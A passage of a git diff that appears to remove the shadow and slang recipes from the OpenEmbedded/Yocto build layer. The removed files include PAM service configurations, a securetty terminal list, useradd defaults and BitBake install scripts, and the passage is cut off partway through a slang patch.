14# The standard Unix authentication modules, used with
15# NIS (man nsswitch) as well as normal /etc/passwd and
16# /etc/shadow entries.
17auth include common-auth
18account include common-account
19session include common-session
diff --git a/meta/recipes-extended/shadow/files/pam.d/login b/meta/recipes-extended/shadow/files/pam.d/login
deleted file mode 100644
index d39e09b1ea..0000000000
--- a/meta/recipes-extended/shadow/files/pam.d/login
+++ /dev/null
@@ -1,77 +0,0 @@
1#
2# The PAM configuration file for the Shadow `login' service
3#
4
5# Enforce a minimal delay in case of failure (in microseconds).
6# (Replaces the `FAIL_DELAY' setting from login.defs)
7# Note that other modules may require another minimal delay. (for example,
8# to disable any delay, you should add the nodelay option to pam_unix)
9auth optional pam_faildelay.so delay=3000000
10
11# Outputs an issue file prior to each login prompt (Replaces the
12# ISSUE_FILE option from login.defs). Uncomment for use
13# auth required pam_issue.so issue=/etc/issue
14
15# Disallows root logins except on tty's listed in /etc/securetty
16# (Replaces the `CONSOLE' setting from login.defs)
17# Note that it is included as a "requisite" module. No password prompts will
18# be displayed if this module fails to avoid having the root password
19# transmitted on unsecure ttys.
20# You can change it to a "required" module if you think it permits to
21# guess valid user names of your system (invalid user names are considered
22# as possibly being root).
23auth [success=ok ignore=ignore user_unknown=ignore default=die] pam_securetty.so
24
25# Disallows other than root logins when /etc/nologin exists
26# (Replaces the `NOLOGINS_FILE' option from login.defs)
27auth requisite pam_nologin.so
28
29# This module parses environment configuration file(s)
30# and also allows you to use an extended config
31# file /etc/security/pam_env.conf.
32#
33# parsing /etc/environment needs "readenv=1"
34session required pam_env.so readenv=1
35
36# Standard Un*x authentication.
37auth include common-auth
38
39# This allows certain extra groups to be granted to a user
40# based on things like time of day, tty, service, and user.
41# Please edit /etc/security/group.conf to fit your needs
42# (Replaces the `CONSOLE_GROUPS' option in login.defs)
43auth optional pam_group.so
44
45# Uncomment and edit /etc/security/time.conf if you need to set
46# time restrainst on logins.
47# (Replaces the `PORTTIME_CHECKS_ENAB' option from login.defs
48# as well as /etc/porttime)
49# account requisite pam_time.so
50
51# Uncomment and edit /etc/security/access.conf if you need to
52# set access limits.
53# (Replaces /etc/login.access file)
54# account required pam_access.so
55
56# Sets up user limits according to /etc/security/limits.conf
57# (Replaces the use of /etc/limits in old login)
58session required pam_limits.so
59
60# Prints the motd upon succesful login
61# (Replaces the `MOTD_FILE' option in login.defs)
62session optional pam_motd.so
63
64# Prints the status of the user's mailbox upon succesful login
65# (Replaces the `MAIL_CHECK_ENAB' option from login.defs).
66#
67# This also defines the MAIL environment variable
68# However, userdel also needs MAIL_DIR and MAIL_FILE variables
69# in /etc/login.defs to make sure that removing a user
70# also removes the user's mail spool file.
71# See comments in /etc/login.defs
72session optional pam_mail.so standard
73
74# Standard Un*x account and session
75account include common-account
76password include common-password
77session include common-session
diff --git a/meta/recipes-extended/shadow/files/pam.d/newusers b/meta/recipes-extended/shadow/files/pam.d/newusers
deleted file mode 100644
index 4c59dfa478..0000000000
--- a/meta/recipes-extended/shadow/files/pam.d/newusers
+++ /dev/null
@@ -1,6 +0,0 @@
1# The PAM configuration file for the Shadow 'newusers' service
2#
3
4auth sufficient pam_rootok.so
5account required pam_permit.so
6password include common-password
diff --git a/meta/recipes-extended/shadow/files/pam.d/passwd b/meta/recipes-extended/shadow/files/pam.d/passwd
deleted file mode 100644
index f534992435..0000000000
--- a/meta/recipes-extended/shadow/files/pam.d/passwd
+++ /dev/null
@@ -1,5 +0,0 @@
1#
2# The PAM configuration file for the Shadow `passwd' service
3#
4
5password include common-password
diff --git a/meta/recipes-extended/shadow/files/pam.d/su b/meta/recipes-extended/shadow/files/pam.d/su
deleted file mode 100644
index 8d590a32e6..0000000000
--- a/meta/recipes-extended/shadow/files/pam.d/su
+++ /dev/null
@@ -1,57 +0,0 @@
1#
2# The PAM configuration file for the Shadow `su' service
3#
4
5# This allows root to su without passwords (normal operation)
6auth sufficient pam_rootok.so
7
8# Uncomment this to force users to be a member of group root
9# before they can use `su'. You can also add "group=foo"
10# to the end of this line if you want to use a group other
11# than the default "root" (but this may have side effect of
12# denying "root" user, unless she's a member of "foo" or explicitly
13# permitted earlier by e.g. "sufficient pam_rootok.so").
14# (Replaces the `SU_WHEEL_ONLY' option from login.defs)
15# auth required pam_wheel.so
16
17# Uncomment this if you want wheel members to be able to
18# su without a password.
19# auth sufficient pam_wheel.so trust
20
21# Uncomment this if you want members of a specific group to not
22# be allowed to use su at all.
23# auth required pam_wheel.so deny group=nosu
24
25# Uncomment and edit /etc/security/time.conf if you need to set
26# time restrainst on su usage.
27# (Replaces the `PORTTIME_CHECKS_ENAB' option from login.defs
28# as well as /etc/porttime)
29# account requisite pam_time.so
30
31# This module parses environment configuration file(s)
32# and also allows you to use an extended config
33# file /etc/security/pam_env.conf.
34#
35# parsing /etc/environment needs "readenv=1"
36session required pam_env.so readenv=1
37
38# Defines the MAIL environment variable
39# However, userdel also needs MAIL_DIR and MAIL_FILE variables
40# in /etc/login.defs to make sure that removing a user
41# also removes the user's mail spool file.
42# See comments in /etc/login.defs
43#
44# "nopen" stands to avoid reporting new mail when su'ing to another user
45session optional pam_mail.so nopen
46
47# Sets up user limits, please uncomment and read /etc/security/limits.conf
48# to enable this functionality.
49# (Replaces the use of /etc/limits in old login)
50# session required pam_limits.so
51
52# The standard Unix authentication modules, used with
53# NIS (man nsswitch) as well as normal /etc/passwd and
54# /etc/shadow entries.
55auth include common-auth
56account include common-account
57session include common-session
diff --git a/meta/recipes-extended/shadow/files/securetty b/meta/recipes-extended/shadow/files/securetty
deleted file mode 100644
index 820728faa6..0000000000
--- a/meta/recipes-extended/shadow/files/securetty
+++ /dev/null
@@ -1,239 +0,0 @@
1# /etc/securetty: list of terminals on which root is allowed to login.
2# See securetty(5) and login(1).
3console
4
5# Standard serial ports
6ttyS0
7ttyS1
8ttyS2
9ttyS3
10ttyS4
11
12# ARM AMBA SoCs
13ttyAM0
14ttyAM1
15ttyAM2
16ttyAM3
17ttyAMA0
18ttyAMA1
19ttyAMA2
20ttyAMA3
21
22# QCOM Socs
23ttyHSL0
24ttyHSL1
25ttyHSL2
26ttyHSL3
27ttyMSM0
28ttyMSM1
29ttyMSM2
30
31# Samsung ARM SoCs
32ttySAC0
33ttySAC1
34ttySAC2
35ttySAC3
36
37# STM SoCs
38ttyAS0
39ttyAS1
40ttyAS2
41ttyAS3
42
43# TI OMAP SoCs
44ttyO0
45ttyO1
46ttyO2
47ttyO3
48
49# Xilinx Zynq SoC
50ttyPS0
51ttyPS1
52
53# USB dongles
54ttyUSB0
55ttyUSB1
56ttyUSB2
57
58# USB serial gadget
59ttyGS0
60
61# PowerMac
62ttyPZ0
63ttyPZ1
64ttyPZ2
65ttyPZ3
66
67# Embedded MPC platforms
68ttyPSC0
69ttyPSC1
70ttyPSC2
71ttyPSC3
72ttyPSC4
73ttyPSC5
74
75# PA-RISC mux ports
76ttyB0
77ttyB1
78
79# Standard hypervisor virtual console
80hvc0
81
82# Oldstyle Xen console
83xvc0
84
85# Standard consoles
86tty1
87tty2
88tty3
89tty4
90tty5
91tty6
92tty7
93tty8
94tty9
95tty10
96tty11
97tty12
98tty13
99tty14
100tty15
101tty16
102tty17
103tty18
104tty19
105tty20
106tty21
107tty22
108tty23
109tty24
110tty25
111tty26
112tty27
113tty28
114tty29
115tty30
116tty31
117tty32
118tty33
119tty34
120tty35
121tty36
122tty37
123tty38
124tty39
125tty40
126tty41
127tty42
128tty43
129tty44
130tty45
131tty46
132tty47
133tty48
134tty49
135tty50
136tty51
137tty52
138tty53
139tty54
140tty55
141tty56
142tty57
143tty58
144tty59
145tty60
146tty61
147tty62
148tty63
149
150# Local X displays (allows empty passwords with pam_unix's nullok_secure)
151pts/0
152pts/1
153pts/2
154pts/3
155
156# Embedded Freescale i.MX ports
157ttymxc0
158ttymxc1
159ttymxc2
160ttymxc3
161ttymxc4
162ttymxc5
163
164# Freescale lpuart ports
165ttyLP0
166ttyLP1
167ttyLP2
168ttyLP3
169ttyLP4
170ttyLP5
171
172# Standard serial ports, with devfs
173tts/0
174tts/1
175
176# Standard consoles, with devfs
177vc/1
178vc/2
179vc/3
180vc/4
181vc/5
182vc/6
183vc/7
184vc/8
185vc/9
186vc/10
187vc/11
188vc/12
189vc/13
190vc/14
191vc/15
192vc/16
193vc/17
194vc/18
195vc/19
196vc/20
197vc/21
198vc/22
199vc/23
200vc/24
201vc/25
202vc/26
203vc/27
204vc/28
205vc/29
206vc/30
207vc/31
208vc/32
209vc/33
210vc/34
211vc/35
212vc/36
213vc/37
214vc/38
215vc/39
216vc/40
217vc/41
218vc/42
219vc/43
220vc/44
221vc/45
222vc/46
223vc/47
224vc/48
225vc/49
226vc/50
227vc/51
228vc/52
229vc/53
230vc/54
231vc/55
232vc/56
233vc/57
234vc/58
235vc/59
236vc/60
237vc/61
238vc/62
239vc/63
diff --git a/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch b/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
deleted file mode 100644
index 318e2665c2..0000000000
--- a/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
+++ /dev/null
@@ -1,110 +0,0 @@
1From eb17cd91d8e4d76ee95de9c0c9f4938ba2e3e82a Mon Sep 17 00:00:00 2001
2From: Kang Kai <kai.kang@windriver.com>
3Date: Wed, 20 Jul 2011 19:18:14 +0800
4Subject: [PATCH] shadow: update pam related configure files
5
6The system-auth in the configure files is from Fedora which put all the 4 pam type rules
7in one file.
8In yocto it obey the way with Debian/Ubuntu, and the names are common-auth, common-account,
9common-password and common-session.
10So update them with oe way.
11
12See meta/recipes-extended/pam/libpam/pam.d/common-password
13
14Upstream-Status: Inappropriate [oe-core specific]
15
16Signed-off-by: Kang Kai <kai.kang@windriver.com>
17---
18 etc/pam.d/chgpasswd | 2 +-
19 etc/pam.d/groupadd | 2 +-
20 etc/pam.d/groupdel | 2 +-
21 etc/pam.d/groupmems | 2 +-
22 etc/pam.d/groupmod | 2 +-
23 etc/pam.d/useradd | 2 +-
24 etc/pam.d/userdel | 2 +-
25 etc/pam.d/usermod | 2 +-
26 8 files changed, 8 insertions(+), 8 deletions(-)
27
28diff --git a/etc/pam.d/chgpasswd b/etc/pam.d/chgpasswd
29index 8f49f5c..b1f365d 100644
30--- a/etc/pam.d/chgpasswd
31+++ b/etc/pam.d/chgpasswd
32@@ -1,4 +1,4 @@
33 #%PAM-1.0
34 auth sufficient pam_rootok.so
35 account required pam_permit.so
36-password include system-auth
37+password include common-password
38diff --git a/etc/pam.d/groupadd b/etc/pam.d/groupadd
39index 8f49f5c..b1f365d 100644
40--- a/etc/pam.d/groupadd
41+++ b/etc/pam.d/groupadd
42@@ -1,4 +1,4 @@
43 #%PAM-1.0
44 auth sufficient pam_rootok.so
45 account required pam_permit.so
46-password include system-auth
47+password include common-password
48diff --git a/etc/pam.d/groupdel b/etc/pam.d/groupdel
49index 8f49f5c..b1f365d 100644
50--- a/etc/pam.d/groupdel
51+++ b/etc/pam.d/groupdel
52@@ -1,4 +1,4 @@
53 #%PAM-1.0
54 auth sufficient pam_rootok.so
55 account required pam_permit.so
56-password include system-auth
57+password include common-password
58diff --git a/etc/pam.d/groupmems b/etc/pam.d/groupmems
59index 8f49f5c..b1f365d 100644
60--- a/etc/pam.d/groupmems
61+++ b/etc/pam.d/groupmems
62@@ -1,4 +1,4 @@
63 #%PAM-1.0
64 auth sufficient pam_rootok.so
65 account required pam_permit.so
66-password include system-auth
67+password include common-password
68diff --git a/etc/pam.d/groupmod b/etc/pam.d/groupmod
69index 8f49f5c..b1f365d 100644
70--- a/etc/pam.d/groupmod
71+++ b/etc/pam.d/groupmod
72@@ -1,4 +1,4 @@
73 #%PAM-1.0
74 auth sufficient pam_rootok.so
75 account required pam_permit.so
76-password include system-auth
77+password include common-password
78diff --git a/etc/pam.d/useradd b/etc/pam.d/useradd
79index 8f49f5c..b1f365d 100644
80--- a/etc/pam.d/useradd
81+++ b/etc/pam.d/useradd
82@@ -1,4 +1,4 @@
83 #%PAM-1.0
84 auth sufficient pam_rootok.so
85 account required pam_permit.so
86-password include system-auth
87+password include common-password
88diff --git a/etc/pam.d/userdel b/etc/pam.d/userdel
89index 8f49f5c..b1f365d 100644
90--- a/etc/pam.d/userdel
91+++ b/etc/pam.d/userdel
92@@ -1,4 +1,4 @@
93 #%PAM-1.0
94 auth sufficient pam_rootok.so
95 account required pam_permit.so
96-password include system-auth
97+password include common-password
98diff --git a/etc/pam.d/usermod b/etc/pam.d/usermod
99index 8f49f5c..b1f365d 100644
100--- a/etc/pam.d/usermod
101+++ b/etc/pam.d/usermod
102@@ -1,4 +1,4 @@
103 #%PAM-1.0
104 auth sufficient pam_rootok.so
105 account required pam_permit.so
106-password include system-auth
107+password include common-password
108--
1092.43.0
110
diff --git a/meta/recipes-extended/shadow/files/useradd b/meta/recipes-extended/shadow/files/useradd
deleted file mode 100644
index 782aeef418..0000000000
--- a/meta/recipes-extended/shadow/files/useradd
+++ /dev/null
@@ -1,8 +0,0 @@
1# useradd defaults file
2GROUP=100
3HOME=/home
4INACTIVE=-1
5EXPIRE=
6SHELL=/bin/sh
7SKEL=/etc/skel
8CREATE_MAIL_SPOOL=no
diff --git a/meta/recipes-extended/shadow/shadow-securetty_4.6.bb b/meta/recipes-extended/shadow/shadow-securetty_4.6.bb
deleted file mode 100644
index e94e1caf22..0000000000
--- a/meta/recipes-extended/shadow/shadow-securetty_4.6.bb
+++ /dev/null
@@ -1,36 +0,0 @@
1SUMMARY = "Provider of the machine specific securetty file"
2SECTION = "base utils"
3LICENSE = "MIT"
4LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
5
6INHIBIT_DEFAULT_DEPS = "1"
7
8SRC_URI = "file://securetty"
9
10S = "${UNPACKDIR}"
11
12# Since SERIAL_CONSOLES is likely to be set from the machine configuration
13PACKAGE_ARCH = "${MACHINE_ARCH}"
14
15do_install () {
16 # Ensure we add a suitable securetty file to the package that has
17 # most common embedded TTYs defined.
18 install -d ${D}${sysconfdir}
19 install -m 0400 ${S}/securetty ${D}${sysconfdir}/securetty
20 if [ ! -z "${SERIAL_CONSOLES}" ]; then
21 # Our SERIAL_CONSOLES contains a baud rate and sometimes extra
22 # options as well. The following pearl :) takes that and converts
23 # it into newline-separated tty's and appends them into
24 # securetty. So if a machine has a weird looking console device
25 # node (e.g. ttyAMA0) that securetty does not know, it will get
26 # appended to securetty and root logins will be allowed on that
27 # console.
28 tmp="${SERIAL_CONSOLES}"
29 for entry in $tmp ; do
30 ttydev=`echo "$entry" | sed -e 's/^[0-9]*\;//' -e 's/\;.*//'`
31 if ! grep -q $ttydev ${D}${sysconfdir}/securetty; then
32 echo $ttydev >> ${D}${sysconfdir}/securetty
33 fi
34 done
35 fi
36}
diff --git a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
deleted file mode 100644
index d66ef1e6a4..0000000000
--- a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
+++ /dev/null
@@ -1,29 +0,0 @@
1SUMMARY = "Shadow utils requirements for useradd.bbclass"
2HOMEPAGE = "http://github.com/shadow-maint/shadow"
3BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
4SECTION = "base utils"
5LICENSE = "BSD-3-Clause | Artistic-1.0"
6LIC_FILES_CHKSUM = "file://login.defs_shadow-sysroot;endline=1;md5=ceddfb61608e4db87012499555184aed"
7
8DEPENDS = "base-passwd"
9
10# The sole purpose of this recipe is to provide the /etc/login.defs
11# file for the target sysroot - needed so the shadow-native utilities
12# can add custom users/groups for recipes that use inherit useradd.
13SRC_URI = "file://login.defs_shadow-sysroot"
14
15S = "${UNPACKDIR}"
16
17do_install() {
18 install -d ${D}${sysconfdir}
19 install -p -m 644 ${S}/login.defs_shadow-sysroot ${D}${sysconfdir}/login.defs
20}
21
22SYSROOT_DIRS += "${sysconfdir}"
23
24# don't create any packages
25# otherwise: dbus-dev depends on shadow-sysroot-dev which depends on shadow-sysroot
26# and this has another copy of /etc/login.defs already provided by shadow
27PACKAGES = ""
28
29inherit nopackages
diff --git a/meta/recipes-extended/shadow/shadow_4.18.0.bb b/meta/recipes-extended/shadow/shadow_4.18.0.bb
deleted file mode 100644
index ba65fc7196..0000000000
--- a/meta/recipes-extended/shadow/shadow_4.18.0.bb
+++ /dev/null
@@ -1,232 +0,0 @@
1SUMMARY = "Tools to change and administer password and group data"
2HOMEPAGE = "http://github.com/shadow-maint/shadow"
3DESCRIPTION = "${SUMMARY}"
4BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
5SECTION = "base/utils"
6LICENSE = "BSD-3-Clause"
7LIC_FILES_CHKSUM = "file://COPYING;md5=c9a450b7be84eac23e6353efecb60b5b \
8 file://src/passwd.c;beginline=2;endline=7;md5=67bcf314687820b2f010d4863fce3fc5 \
9 "
10
11DEPENDS = "virtual/crypt"
12
13GITHUB_BASE_URI = "https://github.com/shadow-maint/shadow/releases"
14SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BP}.tar.gz \
15 ${@bb.utils.contains('PACKAGECONFIG', 'pam', '${PAM_SRC_URI}', '', d)} \
16 file://useradd \
17 "
18
19SRC_URI:append:class-target = " \
20 file://login_defs_pam.sed \
21 file://shadow-update-pam-conf.patch \
22 "
23
24SRC_URI:append:class-native = " \
25 file://commonio.c-fix-unexpected-open-failure-in-chroot-env.patch \
26 file://disable_syslog.patch \
27 "
28SRC_URI[sha256sum] = "ae486ce4c0bce55c42d76d8478e428c41586f1da2f89fbf5228243fb4d849db4"
29UPSTREAM_CHECK_REGEX = "releases/tag/v?(?P<pver>\d+(\.\d+)+)$"
30
31# Additional Policy files for PAM
32PAM_SRC_URI = "file://pam.d/chfn \
33 file://pam.d/chpasswd \
34 file://pam.d/chsh \
35 file://pam.d/login \
36 file://pam.d/newusers \
37 file://pam.d/passwd \
38 file://pam.d/su"
39
40inherit autotools gettext github-releases pkgconfig
41
42export CONFIG_SHELL = "/bin/sh"
43
44EXTRA_OECONF += " \
45 --enable-subordinate-ids=yes \
46 --without-sssd \
47 ${NSCDOPT}"
48
49CFLAGS:append:libc-musl = " -DLIBBSD_OVERLAY"
50
51NSCDOPT = ""
52NSCDOPT:class-native = "--without-nscd"
53NSCDOPT:class-nativesdk = "--without-nscd"
54NSCDOPT:libc-glibc = "--with-nscd"
55
56PAM_PLUGINS = "libpam-runtime \
57 pam-plugin-faildelay \
58 pam-plugin-securetty \
59 pam-plugin-nologin \
60 pam-plugin-env \
61 pam-plugin-group \
62 pam-plugin-limits \
63 pam-plugin-motd \
64 pam-plugin-mail \
65 pam-plugin-shells \
66 pam-plugin-rootok"
67
68PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
69 ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
70PACKAGECONFIG:class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} libbsd"
71PACKAGECONFIG:class-nativesdk = ""
72PACKAGECONFIG[pam] = "--with-libpam,--without-libpam,libpam,${PAM_PLUGINS}"
73PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr"
74PACKAGECONFIG[acl] = "--with-acl,--without-acl,acl"
75PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit"
76PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux libsemanage"
77PACKAGECONFIG[libbsd] = "--with-libbsd,--without-libbsd,libbsd"
78PACKAGECONFIG[logind] = "--enable-logind,--disable-logind,systemd"
79
80RDEPENDS:${PN} = "shadow-securetty \
81 base-passwd \
82 util-linux-sulogin"
83RDEPENDS:${PN}:class-native = ""
84RDEPENDS:${PN}:class-nativesdk = ""
85
86do_install() {
87 oe_runmake DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install
88
89 # Info dir listing isn't interesting at this point so remove it if it exists.
90 if [ -e "${D}${infodir}/dir" ]; then
91 rm -f ${D}${infodir}/dir
92 fi
93
94 # Enable CREATE_HOME by default.
95 sed -i 's/#CREATE_HOME/CREATE_HOME/g' ${D}${sysconfdir}/login.defs
96
97 # As we are on an embedded system, ensure the users mailbox is in
98 # ~/ not /var/spool/mail by default, as who knows where or how big
99 # /var is. The system MDA will set this later anyway.
100 sed -i 's/MAIL_DIR/#MAIL_DIR/g' ${D}${sysconfdir}/login.defs
101 sed -i 's/#MAIL_FILE/MAIL_FILE/g' ${D}${sysconfdir}/login.defs
102
103 # Disable checking emails.
104 sed -i 's/MAIL_CHECK_ENAB/#MAIL_CHECK_ENAB/g' ${D}${sysconfdir}/login.defs
105
106 # Comment out SU_NAME to work correctly with busybox
107 # See Bug#5359 and Bug#7173
108 sed -i 's:^SU_NAME:#SU_NAME:g' ${D}${sysconfdir}/login.defs
109
110 # Use proper encryption for passwords
111 sed -i 's/^#ENCRYPT_METHOD.*$/ENCRYPT_METHOD SHA512/' ${D}${sysconfdir}/login.defs
112
113 install -d ${D}${sysconfdir}/default
114 install -m 0644 ${UNPACKDIR}/useradd ${D}${sysconfdir}/default
115}
116
117do_install:append() {
118 # Ensure that the image has as a /var/spool/mail dir so shadow can
119 # put mailboxes there if the user reconfigures shadow to its
120 # defaults (see sed below).
121 install -m 0775 -d ${D}${localstatedir}/spool/mail
122 chown root:mail ${D}${localstatedir}/spool/mail
123
124 if [ -e ${UNPACKDIR}/pam.d ]; then
125 install -d ${D}${sysconfdir}/pam.d/
126 install -m 0644 ${UNPACKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/
127 # Remove defaults that are not used when supporting PAM.
128 sed -i -f ${UNPACKDIR}/login_defs_pam.sed ${D}${sysconfdir}/login.defs
129 fi
130
131 install -d ${D}${sbindir} ${D}${base_sbindir} ${D}${base_bindir}
132
133 # Move binaries to the locations we want
134 rm ${D}${sbindir}/vigr
135 ln -sf vipw.${BPN} ${D}${base_sbindir}/vigr
136 if [ "${sbindir}" != "${base_sbindir}" ]; then
137 mv ${D}${sbindir}/vipw ${D}${base_sbindir}/vipw
138 fi
139 if [ "${bindir}" != "${base_bindir}" ]; then
140 mv ${D}${bindir}/login ${D}${base_bindir}/login
141 mv ${D}${bindir}/su ${D}${base_bindir}/su
142 fi
143
144 # Handle link properly after rename, otherwise missing files would
145 # lead rpm failed dependencies.
146 ln -sf newgrp.${BPN} ${D}${bindir}/sg
147
148 # usermod requires the subuid/subgid files to be in place before being
149 # able to use the -v/-V flags otherwise it fails:
150 # usermod: /etc/subuid does not exist, you cannot use the flags -v or -V
151 install -d ${D}${sysconfdir}
152 touch ${D}${sysconfdir}/subuid
153 touch ${D}${sysconfdir}/subgid
154}
155
156# Make executables look for dynamically linked libraries in a custom location, and install
157# the needed libraries there. That way we can use them from sstate
158# in setscene tasks without worrying about the dependency libraries being available.
159do_install:append:class-native() {
160 binaries=$(find ${D}${base_bindir}/ ${D}${base_sbindir}/ ${D}${bindir}/ ${D}${sbindir}/ -executable -type f)
161 chrpath -k -r ${STAGING_DIR_NATIVE}/lib-shadow-deps $binaries
162 mkdir -p ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
163 libattr=${@bb.utils.contains('DISTRO_FEATURES', 'xattr', "${STAGING_LIBDIR_NATIVE}/libattr.so.*", '', d)}
164 install $libattr ${STAGING_LIBDIR_NATIVE}/libbsd.so.* ${STAGING_LIBDIR_NATIVE}/libmd.so.* ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
165 install ${D}${libdir}/*.so.* ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
166}
167
168SYSROOT_DIRS:append:class-native = " ${STAGING_DIR_NATIVE}/lib-shadow-deps/"
169INSANE_SKIP:${PN}:class-native = "already-stripped"
170
171do_install:append:class-nativesdk() {
172 oe_runmake -C ${B}/man DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install-man
173}
174
175do_install:append:class-target() {
176 oe_runmake -C ${B}/man DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install-man
177}
178
179PACKAGES =+ "${PN}-base"
180FILES:${PN}-base = "\
181 ${base_bindir}/login.shadow \
182 ${base_bindir}/su.shadow \
183 ${bindir}/sg \
184 ${bindir}/newgrp.shadow \
185 ${sysconfdir}/pam.d/login \
186 ${sysconfdir}/pam.d/su \
187 ${sysconfdir}/login.defs \
188"
189RDEPENDS:${PN} += "${PN}-base"
190
191inherit update-alternatives
192
193ALTERNATIVE_PRIORITY = "200"
194
195ALTERNATIVE:${PN} = "passwd chfn chsh chpasswd vipw vigr nologin"
196ALTERNATIVE_LINK_NAME[chfn] = "${bindir}/chfn"
197ALTERNATIVE_LINK_NAME[chsh] = "${bindir}/chsh"
198ALTERNATIVE_LINK_NAME[chpasswd] = "${sbindir}/chpasswd"
199ALTERNATIVE_LINK_NAME[vipw] = "${base_sbindir}/vipw"
200ALTERNATIVE_LINK_NAME[vigr] = "${base_sbindir}/vigr"
201ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin"
202
203ALTERNATIVE:${PN}-doc = "chfn.1 chsh.1 su.1 nologin.8"
204ALTERNATIVE_LINK_NAME[chfn.1] = "${mandir}/man1/chfn.1"
205ALTERNATIVE_LINK_NAME[chsh.1] = "${mandir}/man1/chsh.1"
206ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1"
207ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8"
208
209ALTERNATIVE:${PN}-base = "newgrp login su"
210ALTERNATIVE_LINK_NAME[login] = "${base_bindir}/login"
211ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su"
212
213PACKAGE_WRITE_DEPS += "shadow-native"
214pkg_postinst:${PN}:class-target () {
215 if [ "x$D" != "x" ]; then
216 rootarg="--root $D"
217 else
218 rootarg=""
219 fi
220
221 pwconv $rootarg || exit 1
222 grpconv $rootarg || exit 1
223}
224
225# Build falsely assumes that if --enable-libpam is set, we don't need to link against
226# libcrypt. This breaks chsh.
227BUILD_LDFLAGS:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}"
228
229BBCLASSEXTEND = "native nativesdk"
230
231# https://bugzilla.redhat.com/show_bug.cgi?id=884658
232CVE_STATUS[CVE-2013-4235] = "upstream-wontfix: Severity is low and marked as closed and won't fix."
diff --git a/meta/recipes-extended/slang/slang/array_test.patch b/meta/recipes-extended/slang/slang/array_test.patch
deleted file mode 100644
index ccd416f207..0000000000
--- a/meta/recipes-extended/slang/slang/array_test.patch
+++ /dev/null
@@ -1,20 +0,0 @@
1slang: modify array test
2
3One array test tries to create an array that is far too large and anticipates an exception.
4IndexError will only be thrown for 64 bit machines, so we add InvalidParmError for 32 bit ones.
5
6Upstream-Status: Submitted [jedsoft.org]
7
8Signed-off-by: Joe Slater <joe.slater@windriver.com>
9
10--- a/src/test/array.sl
11+++ b/src/test/array.sl
12@@ -165,7 +165,7 @@ try
13 {
14 SS = Long_Type[10000,10000,10000,10000,10000,10000];
15 }
16-catch IndexError;
17+catch IndexError,InvalidParmError;
18
19 private define array_map2_func ()
20 {
diff --git a/meta/recipes-extended/slang/slang/dont-link-to-host.patch b/meta/recipes-extended/slang/slang/dont-link-to-host.patch
deleted file mode 100644
index 4b02068991..0000000000
--- a/meta/recipes-extended/slang/slang/dont-link-to-host.patch
+++ /dev/null
@@ -1,31 +0,0 @@
1From b4a6e3c8309cff0f2311cd959c5091213b633851 Mon Sep 17 00:00:00 2001
2From: Ross Burton <ross.burton@intel.com>
3Date: Tue, 7 Feb 2017 14:35:43 +0000
4Subject: [PATCH] slang: rewrite recipe to run autoconf
5
6SLANG_INST_LIB is the location of where slang will end up, but when building for
7packaging this doesn't have DESTDIR appended so can potentially link to the host
8for cross builds and will trigger QA errors.
9
10As this is obviously wrong, delete it.
11
12Upstream-Status: Pending
13Signed-off-by: Ross Burton <ross.burton@intel.com>
14
15---
16 slsh/Makefile.in | 2 +-
17 1 file changed, 1 insertion(+), 1 deletion(-)
18
19diff --git a/slsh/Makefile.in b/slsh/Makefile.in
20index addd343..63a5c9b 100644
21--- a/slsh/Makefile.in
22+++ b/slsh/Makefile.in
23@@ -77,7 +77,7 @@ SLSYSWRAP_LIB = @LIB_SLSYSWRAP@
24 #----------------------------------------------------------------------------
25 @SET_MAKE@
26 SHELL = /bin/sh
27-INST_LIBS = $(DEST_LIB_DIR) $(RPATH) $(SLANG_INST_LIB) -lslang $(LDFLAGS) $(READLINE_LIB) $(DYNAMIC_LIBS)
28+INST_LIBS = $(DEST_LIB_DIR) $(RPATH) -lslang $(LDFLAGS) $(READLINE_LIB) $(DYNAMIC_LIBS)
29 DEFS = -DSLSH_CONF_DIR='"$(SLSH_CONF_DIR)"' -DSLSH_PATH='"$(SLSH_LIB_DIR)"' \
30 -DSLSH_CONF_DIR_ENV='$(SLSH_CONF_DIR_ENV)' -DSLSH_LIB_DIR_ENV='$(SLSH_LIB_DIR_ENV)' \
31 -DSLSH_PATH_ENV='$(SLSH_PATH_ENV)' $(SLSYSWRAP_DEF)
diff --git a/meta/recipes-extended/slang/slang/no-x.patch b/meta/recipes-extended/slang/slang/no-x.patch
deleted file mode 100644
index 7dc1602fe3..0000000000
--- a/meta/recipes-extended/slang/slang/no-x.patch
+++ /dev/null
@@ -1,18 +0,0 @@
1There's no need to check for the X libraries as the socket module doesn't use
2anything from X.
3
4Upstream-Status: Pending
5Signed-off-by: Ross Burton <ross.burton@intel.com>
6
7diff --git a/autoconf/configure.ac b/autoconf/configure.ac
8index b61e974..a3e5db2 100644
9--- a/autoconf/configure.ac
10+++ b/autoconf/configure.ac
